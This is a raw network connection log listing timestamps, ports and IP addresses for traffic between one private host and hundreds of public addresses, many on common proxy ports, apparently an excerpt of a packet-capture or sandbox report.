Mar 11, 2024 16:39:44.631026983 CET	50626	999	192.168.2.10	190.97.238.94
Mar 11, 2024 16:39:44.631026983 CET	50626	999	192.168.2.10	190.97.238.94
Mar 11, 2024 16:39:44.631258011 CET	50962	49145	192.168.2.10	161.97.173.78
Mar 11, 2024 16:39:44.631570101 CET	27207	50698	91.134.140.160	192.168.2.10
Mar 11, 2024 16:39:44.632253885 CET	1081	50545	5.252.23.220	192.168.2.10
Mar 11, 2024 16:39:44.632281065 CET	50964	8888	192.168.2.10	20.33.5.27
Mar 11, 2024 16:39:44.632282019 CET	50963	4153	192.168.2.10	183.89.9.20
Mar 11, 2024 16:39:44.632302046 CET	50965	21898	192.168.2.10	159.223.166.21
Mar 11, 2024 16:39:44.632356882 CET	50545	1081	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.632361889 CET	50698	27207	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:44.632549047 CET	50545	1081	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.633349895 CET	50967	4145	192.168.2.10	103.86.1.2
Mar 11, 2024 16:39:44.633384943 CET	50966	999	192.168.2.10	168.194.171.16
Mar 11, 2024 16:39:44.633388042 CET	50698	27207	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:44.633713961 CET	50968	5678	192.168.2.10	185.26.32.93
Mar 11, 2024 16:39:44.634147882 CET	27639	50585	185.45.194.176	192.168.2.10
Mar 11, 2024 16:39:44.634182930 CET	50969	80	192.168.2.10	172.67.182.96
Mar 11, 2024 16:39:44.635227919 CET	26976	50435	124.198.74.90	192.168.2.10
Mar 11, 2024 16:39:44.635267973 CET	50970	8080	192.168.2.10	192.144.30.200
Mar 11, 2024 16:39:44.635270119 CET	50971	4673	192.168.2.10	62.201.212.198
Mar 11, 2024 16:39:44.635365009 CET	50435	26976	192.168.2.10	124.198.74.90
Mar 11, 2024 16:39:44.635447025 CET	50972	80	192.168.2.10	164.132.170.100
Mar 11, 2024 16:39:44.635703087 CET	80	50611	50.174.214.219	192.168.2.10
Mar 11, 2024 16:39:44.635716915 CET	80	50335	54.152.3.36	192.168.2.10
Mar 11, 2024 16:39:44.635977983 CET	80	50561	31.43.179.160	192.168.2.10
Mar 11, 2024 16:39:44.636147022 CET	80	50561	31.43.179.160	192.168.2.10
Mar 11, 2024 16:39:44.636257887 CET	80	50561	31.43.179.160	192.168.2.10
Mar 11, 2024 16:39:44.636472940 CET	50561	80	192.168.2.10	31.43.179.160
Mar 11, 2024 16:39:44.637101889 CET	3128	50558	213.131.230.161	192.168.2.10
Mar 11, 2024 16:39:44.637156963 CET	80	50335	54.152.3.36	192.168.2.10
Mar 11, 2024 16:39:44.638057947 CET	1080	50249	54.212.22.168	192.168.2.10
Mar 11, 2024 16:39:44.638199091 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:44.638432980 CET	55137	50009	192.169.197.146	192.168.2.10
Mar 11, 2024 16:39:44.640163898 CET	30000	50203	161.97.74.176	192.168.2.10
Mar 11, 2024 16:39:44.640177011 CET	30000	50203	161.97.74.176	192.168.2.10
Mar 11, 2024 16:39:44.640258074 CET	80	50789	104.27.26.29	192.168.2.10
Mar 11, 2024 16:39:44.640269041 CET	30000	50203	161.97.74.176	192.168.2.10
Mar 11, 2024 16:39:44.640285015 CET	6001	50383	20.106.146.212	192.168.2.10
Mar 11, 2024 16:39:44.640372038 CET	50203	30000	192.168.2.10	161.97.74.176
Mar 11, 2024 16:39:44.640386105 CET	50789	80	192.168.2.10	104.27.26.29
Mar 11, 2024 16:39:44.640414953 CET	50203	30000	192.168.2.10	161.97.74.176
Mar 11, 2024 16:39:44.641123056 CET	9401	50631	147.75.92.251	192.168.2.10
Mar 11, 2024 16:39:44.641163111 CET	50249	1080	192.168.2.10	54.212.22.168
Mar 11, 2024 16:39:44.641165972 CET	50561	80	192.168.2.10	31.43.179.160
Mar 11, 2024 16:39:44.641266108 CET	50631	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:44.641536951 CET	5432	50400	45.196.151.84	192.168.2.10
Mar 11, 2024 16:39:44.641551018 CET	5432	50400	45.196.151.84	192.168.2.10
Mar 11, 2024 16:39:44.641570091 CET	50435	26976	192.168.2.10	124.198.74.90
Mar 11, 2024 16:39:44.641592026 CET	5432	50400	45.196.151.84	192.168.2.10
Mar 11, 2024 16:39:44.641686916 CET	50400	5432	192.168.2.10	45.196.151.84
Mar 11, 2024 16:39:44.641947031 CET	50789	80	192.168.2.10	104.27.26.29
Mar 11, 2024 16:39:44.642370939 CET	50400	5432	192.168.2.10	45.196.151.84
Mar 11, 2024 16:39:44.642370939 CET	50973	3128	192.168.2.10	176.113.73.102
Mar 11, 2024 16:39:44.642370939 CET	50631	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:44.642579079 CET	5678	50517	101.95.182.26	192.168.2.10
Mar 11, 2024 16:39:44.642970085 CET	4145	50700	198.8.94.170	192.168.2.10
Mar 11, 2024 16:39:44.643100977 CET	50974	33333	192.168.2.10	190.53.45.222
Mar 11, 2024 16:39:44.643358946 CET	31571	50669	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:44.643587112 CET	50975	16379	192.168.2.10	51.158.98.197
Mar 11, 2024 16:39:44.643779039 CET	50669	31571	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:44.644520044 CET	50977	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:44.644524097 CET	50976	58842	192.168.2.10	148.72.206.84
Mar 11, 2024 16:39:44.644546032 CET	50669	31571	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:44.644929886 CET	5000	50086	49.228.131.169	192.168.2.10
Mar 11, 2024 16:39:44.644972086 CET	50978	23313	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:44.645047903 CET	49828	9002	192.168.2.10	220.248.70.237
Mar 11, 2024 16:39:44.645077944 CET	49896	5678	192.168.2.10	173.224.20.136
Mar 11, 2024 16:39:44.645081997 CET	50117	80	192.168.2.10	50.145.6.36
Mar 11, 2024 16:39:44.645090103 CET	49905	42931	192.168.2.10	88.211.85.169
Mar 11, 2024 16:39:44.645104885 CET	49897	49806	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:44.645106077 CET	3128	50265	13.40.239.130	192.168.2.10
Mar 11, 2024 16:39:44.645123959 CET	49901	55443	192.168.2.10	202.165.47.90
Mar 11, 2024 16:39:44.645132065 CET	49899	8090	192.168.2.10	119.28.60.64
Mar 11, 2024 16:39:44.645132065 CET	49902	8061	192.168.2.10	103.169.254.186
Mar 11, 2024 16:39:44.645137072 CET	49903	32100	192.168.2.10	50.233.111.162
Mar 11, 2024 16:39:44.645142078 CET	49906	5484	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:44.645323038 CET	80	50793	172.67.181.12	192.168.2.10
Mar 11, 2024 16:39:44.645522118 CET	50793	80	192.168.2.10	172.67.181.12
Mar 11, 2024 16:39:44.645575047 CET	80	50584	185.238.228.202	192.168.2.10
Mar 11, 2024 16:39:44.645646095 CET	80	50584	185.238.228.202	192.168.2.10
Mar 11, 2024 16:39:44.645898104 CET	50793	80	192.168.2.10	172.67.181.12
Mar 11, 2024 16:39:44.646146059 CET	50584	80	192.168.2.10	185.238.228.202
Mar 11, 2024 16:39:44.646159887 CET	50979	8000	192.168.2.10	198.199.83.206
Mar 11, 2024 16:39:44.646188021 CET	80	50586	104.25.87.42	192.168.2.10
Mar 11, 2024 16:39:44.646285057 CET	80	50586	104.25.87.42	192.168.2.10
Mar 11, 2024 16:39:44.646567106 CET	80	50586	104.25.87.42	192.168.2.10
Mar 11, 2024 16:39:44.646583080 CET	50980	80	192.168.2.10	45.12.30.231
Mar 11, 2024 16:39:44.646590948 CET	1080	49762	138.36.150.16	192.168.2.10
Mar 11, 2024 16:39:44.646634102 CET	80	50584	185.238.228.202	192.168.2.10
Mar 11, 2024 16:39:44.646658897 CET	50586	80	192.168.2.10	104.25.87.42
Mar 11, 2024 16:39:44.646658897 CET	49762	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:44.646708965 CET	80	50587	104.21.223.181	192.168.2.10
Mar 11, 2024 16:39:44.646738052 CET	50584	80	192.168.2.10	185.238.228.202
Mar 11, 2024 16:39:44.646806955 CET	80	50587	104.21.223.181	192.168.2.10
Mar 11, 2024 16:39:44.646816969 CET	50586	80	192.168.2.10	104.25.87.42
Mar 11, 2024 16:39:44.646819115 CET	26087	50675	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:44.647090912 CET	8888	50542	31.43.158.108	192.168.2.10
Mar 11, 2024 16:39:44.647125006 CET	5000	50086	49.228.131.169	192.168.2.10
Mar 11, 2024 16:39:44.647160053 CET	5000	50086	49.228.131.169	192.168.2.10
Mar 11, 2024 16:39:44.647160053 CET	49762	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:44.647236109 CET	50542	8888	192.168.2.10	31.43.158.108
Mar 11, 2024 16:39:44.647236109 CET	50086	5000	192.168.2.10	49.228.131.169
Mar 11, 2024 16:39:44.647351980 CET	50587	80	192.168.2.10	104.21.223.181
Mar 11, 2024 16:39:44.647736073 CET	80	50587	104.21.223.181	192.168.2.10
Mar 11, 2024 16:39:44.647959948 CET	3128	50265	13.40.239.130	192.168.2.10
Mar 11, 2024 16:39:44.648791075 CET	4153	50546	45.226.0.2	192.168.2.10
Mar 11, 2024 16:39:44.648813963 CET	50542	8888	192.168.2.10	31.43.158.108
Mar 11, 2024 16:39:44.648813963 CET	50086	5000	192.168.2.10	49.228.131.169
Mar 11, 2024 16:39:44.648900032 CET	50587	80	192.168.2.10	104.21.223.181
Mar 11, 2024 16:39:44.649951935 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:44.651149035 CET	8089	50541	223.247.47.231	192.168.2.10
Mar 11, 2024 16:39:44.651396990 CET	80	50751	50.207.199.80	192.168.2.10
Mar 11, 2024 16:39:44.653428078 CET	41746	50406	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:44.655317068 CET	80	50608	104.16.109.207	192.168.2.10
Mar 11, 2024 16:39:44.655473948 CET	80	50608	104.16.109.207	192.168.2.10
Mar 11, 2024 16:39:44.656230927 CET	8089	49796	114.231.45.101	192.168.2.10
Mar 11, 2024 16:39:44.656553984 CET	80	50608	104.16.109.207	192.168.2.10
Mar 11, 2024 16:39:44.656682014 CET	80	50649	50.173.140.150	192.168.2.10
Mar 11, 2024 16:39:44.656795979 CET	50608	80	192.168.2.10	104.16.109.207
Mar 11, 2024 16:39:44.657882929 CET	80	50799	104.27.37.131	192.168.2.10
Mar 11, 2024 16:39:44.658339977 CET	41746	50406	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:44.658503056 CET	50799	80	192.168.2.10	104.27.37.131
Mar 11, 2024 16:39:44.659050941 CET	80	50257	82.64.77.30	192.168.2.10
Mar 11, 2024 16:39:44.659543037 CET	50799	80	192.168.2.10	104.27.37.131
Mar 11, 2024 16:39:44.659708977 CET	80	50613	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.659785032 CET	80	50349	104.25.167.88	192.168.2.10
Mar 11, 2024 16:39:44.659902096 CET	50613	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.660315990 CET	80	50750	50.175.212.79	192.168.2.10
Mar 11, 2024 16:39:44.660695076 CET	49983	45639	192.168.2.10	103.212.93.241
Mar 11, 2024 16:39:44.660700083 CET	49910	9090	192.168.2.10	45.90.104.150
Mar 11, 2024 16:39:44.660698891 CET	49908	13003	192.168.2.10	192.99.207.129
Mar 11, 2024 16:39:44.660702944 CET	49900	8080	192.168.2.10	103.153.232.41
Mar 11, 2024 16:39:44.660708904 CET	49912	8080	192.168.2.10	46.0.203.186
Mar 11, 2024 16:39:44.660708904 CET	49916	1974	192.168.2.10	41.33.203.115
Mar 11, 2024 16:39:44.660758972 CET	49913	80	192.168.2.10	165.154.236.214
Mar 11, 2024 16:39:44.660759926 CET	49914	80	192.168.2.10	103.152.112.145
Mar 11, 2024 16:39:44.660759926 CET	50100	7853	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:44.660783052 CET	49917	3128	192.168.2.10	5.252.23.249
Mar 11, 2024 16:39:44.661082983 CET	50613	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.661731005 CET	80	50257	82.64.77.30	192.168.2.10
Mar 11, 2024 16:39:44.662360907 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.662420034 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.662456036 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.662597895 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.662611008 CET	1080	50484	35.154.71.72	192.168.2.10
Mar 11, 2024 16:39:44.662630081 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:44.662630081 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:44.662702084 CET	1080	50593	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:44.662714005 CET	80	50358	172.67.231.3	192.168.2.10
Mar 11, 2024 16:39:44.662720919 CET	50484	1080	192.168.2.10	35.154.71.72
Mar 11, 2024 16:39:44.662791014 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:44.662791967 CET	50593	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:44.662996054 CET	50484	1080	192.168.2.10	35.154.71.72
Mar 11, 2024 16:39:44.663091898 CET	50593	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:44.663305044 CET	50981	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:44.666598082 CET	15673	50615	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:44.666810036 CET	50615	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:44.666810036 CET	50615	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:44.668850899 CET	85	50540	43.255.113.232	192.168.2.10
Mar 11, 2024 16:39:44.669032097 CET	50540	85	192.168.2.10	43.255.113.232
Mar 11, 2024 16:39:44.669032097 CET	50540	85	192.168.2.10	43.255.113.232
Mar 11, 2024 16:39:44.669058084 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:44.669348001 CET	49774	8080	192.168.2.10	20.37.207.8
Mar 11, 2024 16:39:44.671183109 CET	4019	50505	171.235.166.222	192.168.2.10
Mar 11, 2024 16:39:44.671298027 CET	80	50693	50.230.222.202	192.168.2.10
Mar 11, 2024 16:39:44.671348095 CET	50505	4019	192.168.2.10	171.235.166.222
Mar 11, 2024 16:39:44.671348095 CET	50505	4019	192.168.2.10	171.235.166.222
Mar 11, 2024 16:39:44.671376944 CET	3128	50623	155.185.15.56	192.168.2.10
Mar 11, 2024 16:39:44.672400951 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:44.673580885 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.673665047 CET	80	50381	172.67.3.98	192.168.2.10
Mar 11, 2024 16:39:44.673754930 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.673836946 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.674030066 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.674045086 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.674243927 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.674365997 CET	4145	50286	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:44.674377918 CET	4145	50286	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:44.674391031 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.674405098 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.674405098 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.674428940 CET	31679	50287	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:44.674499989 CET	31679	50287	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:44.674513102 CET	13087	50710	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:44.674530983 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.674926996 CET	50982	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:44.674938917 CET	4145	50288	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:44.674981117 CET	4145	50288	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:44.675380945 CET	50983	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:44.675383091 CET	80	50384	104.24.193.186	192.168.2.10
Mar 11, 2024 16:39:44.675395012 CET	80	50392	104.25.81.82	192.168.2.10
Mar 11, 2024 16:39:44.675853014 CET	50984	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:44.676259995 CET	10677	50716	72.10.160.173	192.168.2.10
Mar 11, 2024 16:39:44.676290989 CET	49966	8888	192.168.2.10	51.15.242.202
Mar 11, 2024 16:39:44.676337957 CET	50106	17893	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:44.676340103 CET	49982	1080	192.168.2.10	202.142.167.210
Mar 11, 2024 16:39:44.676353931 CET	50136	14921	192.168.2.10	192.252.211.197
Mar 11, 2024 16:39:44.676353931 CET	49924	45883	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:44.676358938 CET	49907	9091	192.168.2.10	103.112.128.37
Mar 11, 2024 16:39:44.676358938 CET	49919	10710	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:44.676358938 CET	49931	8888	192.168.2.10	47.254.90.125
Mar 11, 2024 16:39:44.676362991 CET	49923	9510	192.168.2.10	92.247.12.136
Mar 11, 2024 16:39:44.676362038 CET	50118	24279	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:44.676362991 CET	49927	8080	192.168.2.10	57.128.163.242
Mar 11, 2024 16:39:44.676362991 CET	49925	80	192.168.2.10	118.222.104.135
Mar 11, 2024 16:39:44.677057028 CET	80	50459	43.231.22.229	192.168.2.10
Mar 11, 2024 16:39:44.677292109 CET	50459	80	192.168.2.10	43.231.22.229
Mar 11, 2024 16:39:44.677292109 CET	50459	80	192.168.2.10	43.231.22.229
Mar 11, 2024 16:39:44.677516937 CET	80	50794	50.207.199.87	192.168.2.10
Mar 11, 2024 16:39:44.677599907 CET	24543	50422	209.159.153.19	192.168.2.10
Mar 11, 2024 16:39:44.677983046 CET	4145	50674	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:44.678139925 CET	50674	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:44.678240061 CET	50674	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:44.679887056 CET	4145	50775	74.119.147.209	192.168.2.10
Mar 11, 2024 16:39:44.679941893 CET	50985	41746	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.679941893 CET	50608	80	192.168.2.10	104.16.109.207
Mar 11, 2024 16:39:44.680094004 CET	50986	2853	192.168.2.10	188.165.252.198
Mar 11, 2024 16:39:44.680408955 CET	50987	6332	192.168.2.10	38.45.44.51
Mar 11, 2024 16:39:44.681112051 CET	50988	5678	192.168.2.10	201.221.134.74
Mar 11, 2024 16:39:44.681440115 CET	50989	4145	192.168.2.10	199.102.104.70
Mar 11, 2024 16:39:44.681976080 CET	50990	36363	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:44.682391882 CET	50991	20473	192.168.2.10	45.77.99.122
Mar 11, 2024 16:39:44.682679892 CET	26353	49949	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:44.682725906 CET	18067	49948	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.682748079 CET	50992	32896	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:44.683248997 CET	63055	50607	51.161.131.84	192.168.2.10
Mar 11, 2024 16:39:44.683283091 CET	50993	8085	192.168.2.10	179.48.80.9
Mar 11, 2024 16:39:44.683929920 CET	17145	49961	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:44.683968067 CET	50994	4145	192.168.2.10	199.229.254.129
Mar 11, 2024 16:39:44.684061050 CET	50995	38801	192.168.2.10	113.101.255.100
Mar 11, 2024 16:39:44.684109926 CET	50607	63055	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.684420109 CET	50607	63055	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.684422016 CET	50996	3128	192.168.2.10	38.54.95.19
Mar 11, 2024 16:39:44.684983969 CET	1080	50571	140.250.150.56	192.168.2.10
Mar 11, 2024 16:39:44.685024023 CET	50997	58703	192.168.2.10	67.213.210.118
Mar 11, 2024 16:39:44.685499907 CET	50998	4153	192.168.2.10	190.15.216.237
Mar 11, 2024 16:39:44.685779095 CET	50999	4153	192.168.2.10	14.161.17.4
Mar 11, 2024 16:39:44.685945988 CET	5678	49926	181.78.13.91	192.168.2.10
Mar 11, 2024 16:39:44.686137915 CET	51000	3128	192.168.2.10	68.183.180.222
Mar 11, 2024 16:39:44.686686039 CET	51001	52326	192.168.2.10	132.148.16.169
Mar 11, 2024 16:39:44.686786890 CET	51002	80	192.168.2.10	162.159.246.135
Mar 11, 2024 16:39:44.687165976 CET	8443	50595	27.254.123.203	192.168.2.10
Mar 11, 2024 16:39:44.687324047 CET	24543	50422	209.159.153.19	192.168.2.10
Mar 11, 2024 16:39:44.687555075 CET	51003	1951	192.168.2.10	178.33.163.156
Mar 11, 2024 16:39:44.687628984 CET	12334	50188	194.4.50.62	192.168.2.10
Mar 11, 2024 16:39:44.688278913 CET	51004	8080	192.168.2.10	197.232.47.122
Mar 11, 2024 16:39:44.688287020 CET	51005	3128	192.168.2.10	37.156.146.163
Mar 11, 2024 16:39:44.688384056 CET	51006	8080	192.168.2.10	93.43.193.230
Mar 11, 2024 16:39:44.689033985 CET	51007	80	192.168.2.10	185.162.229.70
Mar 11, 2024 16:39:44.689512968 CET	11339	50742	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:44.689790964 CET	80	49891	50.223.239.166	192.168.2.10
Mar 11, 2024 16:39:44.689903021 CET	4145	50494	142.54.231.38	192.168.2.10
Mar 11, 2024 16:39:44.690360069 CET	80	50656	104.16.108.42	192.168.2.10
Mar 11, 2024 16:39:44.690411091 CET	80	50656	104.16.108.42	192.168.2.10
Mar 11, 2024 16:39:44.690632105 CET	4145	50494	142.54.231.38	192.168.2.10
Mar 11, 2024 16:39:44.691370964 CET	80	50656	104.16.108.42	192.168.2.10
Mar 11, 2024 16:39:44.691862106 CET	50656	80	192.168.2.10	104.16.108.42
Mar 11, 2024 16:39:44.691925049 CET	49921	80	192.168.2.10	178.128.200.87
Mar 11, 2024 16:39:44.691926956 CET	49922	3128	192.168.2.10	178.158.166.161
Mar 11, 2024 16:39:44.691936016 CET	49984	16379	192.168.2.10	163.172.171.22
Mar 11, 2024 16:39:44.691952944 CET	49934	80	192.168.2.10	14.142.36.210
Mar 11, 2024 16:39:44.691955090 CET	50125	1431	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.691955090 CET	49928	58740	192.168.2.10	162.214.197.102
Mar 11, 2024 16:39:44.691956997 CET	49936	12446	192.168.2.10	148.72.209.174
Mar 11, 2024 16:39:44.691986084 CET	49727	80	192.168.2.10	50.217.226.43
Mar 11, 2024 16:39:44.691988945 CET	49941	1981	192.168.2.10	41.65.236.56
Mar 11, 2024 16:39:44.692030907 CET	49938	8901	192.168.2.10	94.124.16.218
Mar 11, 2024 16:39:44.692049980 CET	49935	8080	192.168.2.10	176.213.141.107
Mar 11, 2024 16:39:44.693394899 CET	24543	50422	209.159.153.19	192.168.2.10
Mar 11, 2024 16:39:44.693512917 CET	50422	24543	192.168.2.10	209.159.153.19
Mar 11, 2024 16:39:44.695146084 CET	8888	50071	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:44.695585012 CET	8888	50071	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:44.695687056 CET	50071	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:44.695703030 CET	9764	50421	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.695714951 CET	23685	50755	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.695756912 CET	80	49887	50.174.145.11	192.168.2.10
Mar 11, 2024 16:39:44.695763111 CET	50421	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.695926905 CET	9764	50421	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.696650982 CET	80	50193	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:44.698894024 CET	3128	50592	120.24.52.179	192.168.2.10
Mar 11, 2024 16:39:44.701370955 CET	9090	50576	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:44.701788902 CET	50576	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:44.701844931 CET	3128	50377	220.194.189.144	192.168.2.10
Mar 11, 2024 16:39:44.702203035 CET	4145	50730	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:44.702287912 CET	50730	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.702384949 CET	50377	3128	192.168.2.10	220.194.189.144
Mar 11, 2024 16:39:44.703444958 CET	8800	50126	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:44.703574896 CET	8800	50126	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:44.703686953 CET	50126	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:44.704667091 CET	5369	50772	72.10.160.171	192.168.2.10
Mar 11, 2024 16:39:44.704679966 CET	80	50833	104.16.241.204	192.168.2.10
Mar 11, 2024 16:39:44.704998970 CET	50833	80	192.168.2.10	104.16.241.204
Mar 11, 2024 16:39:44.705790043 CET	8888	50011	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:44.706495047 CET	80	49932	50.168.163.166	192.168.2.10
Mar 11, 2024 16:39:44.707540989 CET	49956	80	192.168.2.10	218.255.187.60
Mar 11, 2024 16:39:44.707545042 CET	49962	55109	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:44.707566977 CET	49947	999	192.168.2.10	190.113.40.202
Mar 11, 2024 16:39:44.707571030 CET	50202	4145	192.168.2.10	199.102.107.145
Mar 11, 2024 16:39:44.707571983 CET	49940	80	192.168.2.10	119.81.189.194
Mar 11, 2024 16:39:44.707592010 CET	50257	80	192.168.2.10	82.64.77.30
Mar 11, 2024 16:39:44.707595110 CET	49939	8080	192.168.2.10	103.115.242.192
Mar 11, 2024 16:39:44.707597017 CET	50129	10363	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.707639933 CET	49944	39323	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.707642078 CET	49952	3129	192.168.2.10	103.76.253.66
Mar 11, 2024 16:39:44.707645893 CET	49951	8080	192.168.2.10	38.156.73.54
Mar 11, 2024 16:39:44.707686901 CET	49955	3128	192.168.2.10	178.245.145.234
Mar 11, 2024 16:39:44.707690001 CET	49954	8080	192.168.2.10	137.59.48.20
Mar 11, 2024 16:39:44.708794117 CET	9125	50646	178.253.201.11	192.168.2.10
Mar 11, 2024 16:39:44.710378885 CET	50422	24543	192.168.2.10	209.159.153.19
Mar 11, 2024 16:39:44.710386992 CET	80	50602	41.77.188.131	192.168.2.10
Mar 11, 2024 16:39:44.710576057 CET	50602	80	192.168.2.10	41.77.188.131
Mar 11, 2024 16:39:44.710752010 CET	50730	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.710756063 CET	50576	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:44.710805893 CET	50377	3128	192.168.2.10	220.194.189.144
Mar 11, 2024 16:39:44.710958004 CET	50421	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.711232901 CET	51008	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.711348057 CET	50126	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:44.711357117 CET	50071	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:44.711359978 CET	51009	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:44.711821079 CET	44607	49712	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:44.711904049 CET	51010	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:44.711988926 CET	50602	80	192.168.2.10	41.77.188.131
Mar 11, 2024 16:39:44.712003946 CET	50833	80	192.168.2.10	104.16.241.204
Mar 11, 2024 16:39:44.712088108 CET	51011	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:44.712419033 CET	80	50683	50.174.214.222	192.168.2.10
Mar 11, 2024 16:39:44.713207006 CET	50656	80	192.168.2.10	104.16.108.42
Mar 11, 2024 16:39:44.713226080 CET	4145	49806	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:44.713277102 CET	8000	50258	128.199.252.41	192.168.2.10
Mar 11, 2024 16:39:44.713483095 CET	49806	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:44.713924885 CET	25639	49980	67.43.227.226	192.168.2.10
Mar 11, 2024 16:39:44.714540958 CET	51012	8000	192.168.2.10	128.199.252.41
Mar 11, 2024 16:39:44.715065002 CET	6012	50642	45.11.95.165	192.168.2.10
Mar 11, 2024 16:39:44.715166092 CET	50642	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.715167999 CET	4145	50378	72.195.114.169	192.168.2.10
Mar 11, 2024 16:39:44.715362072 CET	4145	50378	72.195.114.169	192.168.2.10
